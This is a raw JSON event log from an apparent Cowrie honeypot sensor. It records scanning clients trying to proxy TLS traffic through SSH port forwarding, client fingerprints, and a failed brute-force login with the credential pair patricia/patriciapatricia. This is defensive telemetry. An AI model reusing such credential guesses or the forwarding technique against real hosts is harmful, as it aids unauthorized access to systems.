{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.253.23.170","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r/\\x07\\x94~\\x943A\\x85\\x02\\x8f1\\x0c\\x15\\x1c\\xb4Z\\xce\\x94\\xa3\\xc1\\x0c\\xb2\\xb6\\xbcK\\xda\\x9cz\\xe1\\xa1\\t \\xc3\\x0e\\x989\\xd2\\xe7nSo\\xc8\\xfc\\x1a\\n<\\x93\\xf2w\\xda\\xe6q\\xf4\\xbc\\x89\\x9cL\\x15\\xc2\\xe69\"Z0\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 xB\\x03\\x1ax\\xf7\\x17.\\xd6S\\x8d\\xa5jW\\xbc\\xaf0\\xe9\\xb10mH\\x93\\xbegcq\\xd1\\x11g}@\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 34.253.23.170:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r/\\x07\\x94~\\x943A\\x85\\x02\\x8f1\\x0c\\x15\\x1c\\xb4Z\\xce\\x94\\xa3\\xc1\\x0c\\xb2\\xb6\\xbcK\\xda\\x9cz\\xe1\\xa1\\t \\xc3\\x0e\\x989\\xd2\\xe7nSo\\xc8\\xfc\\x1a\\n<\\x93\\xf2w\\xda\\xe6q\\xf4\\xbc\\x89\\x9cL\\x15\\xc2\\xe69\"Z0\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 xB\\x03\\x1ax\\xf7\\x17.\\xd6S\\x8d\\xa5jW\\xbc\\xaf0\\xe9\\xb10mH\\x93\\xbegcq\\xd1\\x11g}@\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:26.620952Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":58526,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:58526","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:26.749614Z","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:26.927304Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdb`A\\xcb\\x99\\xa9l\\x1e\\x18\\x98\\xdf\\xdb\\\\\\x9bVo\\x0e)\\xd5\\x8e?\\x9c\\xcec\\xd5:e;:qh4 \\x90(\\xcbw\\xd0X\\xa2\\x0f~\\xfa3'18\\xf5\\xc5\\x86\\xccUMz886\\x88\\x16gF^\\xb5\\x18r\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xab\\xcdY\\xd5\\xb3\\xd1f\\x96qg<\\xda|\\x1c\\xb6\\xa3\\x9b,.\\xad\\x93G*%8\\x8a\\xd2E\\x13R\\xd5\\x13\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdb`A\\xcb\\x99\\xa9l\\x1e\\x18\\x98\\xdf\\xdb\\\\\\x9bVo\\x0e)\\xd5\\x8e?\\x9c\\xcec\\xd5:e;:qh4 \\x90(\\xcbw\\xd0X\\xa2\\x0f~\\xfa3'18\\xf5\\xc5\\x86\\xccUMz886\\x88\\x16gF^\\xb5\\x18r\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xab\\xcdY\\xd5\\xb3\\xd1f\\x96qg<\\xda|\\x1c\\xb6\\xa3\\x9b,.\\xad\\x93G*%8\\x8a\\xd2E\\x13R\\xd5\\x13\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:26.930386Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.98.106","dst_port":443,"src_ip":"77.90.185.17","src_port":59100,"message":"direct-tcp connection request to 142.251.98.106:443 from 127.0.0.1:59100","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:27.038532Z","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.98.106","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.98.106:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:27.311304Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.98.106","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03X^\\xa23\\xb6\\xab\\xa3\\xcf1:\\xd7\\xcb\\x7f\\xaf\\x1a\\x9e\\xf9:v\\xdf\\xd9\\xb0\\xa5c\\x9c\\xc4\\xc0C\\'vb\\xe3 \\x066\\xa4\\xa4\\xd3]2\\x8f\\xe7\\xe9~\\xf0\\xd5=v\\x87F+b\\xc9+^\\xaa\\xbd\\xdab [\\x1e\\x07\\xf1\\xf9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 fB7;\\xaav\\xb3\\x1bC\\x1eG\\x9b\\xa9(\\x0f\\xfarrZh\\xe8\\xb0^U#\\xa5,\"\\x84\\xe231\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.98.106:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03X^\\xa23\\xb6\\xab\\xa3\\xcf1:\\xd7\\xcb\\x7f\\xaf\\x1a\\x9e\\xf9:v\\xdf\\xd9\\xb0\\xa5c\\x9c\\xc4\\xc0C\\'vb\\xe3 \\x066\\xa4\\xa4\\xd3]2\\x8f\\xe7\\xe9~\\xf0\\xd5=v\\x87F+b\\xc9+^\\xaa\\xbd\\xdab [\\x1e\\x07\\xf1\\xf9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 fB7;\\xaav\\xb3\\x1bC\\x1eG\\x9b\\xa9(\\x0f\\xfarrZh\\xe8\\xb0^U#\\xa5,\"\\x84\\xe231\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:27.316501Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:27.826592Z","src_ip":"77.90.185.17","session":"7876d87e2f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.16559886932373,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:00:32.928958Z","src_ip":"216.126.86.96","session":"9acb9e2d0536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":34306,"dst_ip":"159.203.135.109","dst_port":22,"session":"adabb837e452","protocol":"ssh","message":"New connection: 159.223.94.92:34306 (159.203.135.109:22) [session: adabb837e452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:29.441384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:29.446387Z","src_ip":"159.223.94.92","session":"adabb837e452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:29.684520Z","src_ip":"159.223.94.92","session":"adabb837e452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patricia","password":"patriciapatricia","message":"login attempt [patricia/patriciapatricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:30.679269Z","src_ip":"159.223.94.92","session":"adabb837e452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:31.919209Z","src_ip":"159.223.94.92","session":"adabb837e452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":60334,"dst_ip":"159.203.135.109","dst_port":22,"session":"8921c420b867","protocol":"ssh","message":"New connection: 64.176.195.200:60334 (159.203.135.109:22) [session: 8921c420b867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:58.596303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:01:58.600027Z","src_ip":"64.176.195.200","session":"8921c420b867","protocol":"ssh"}
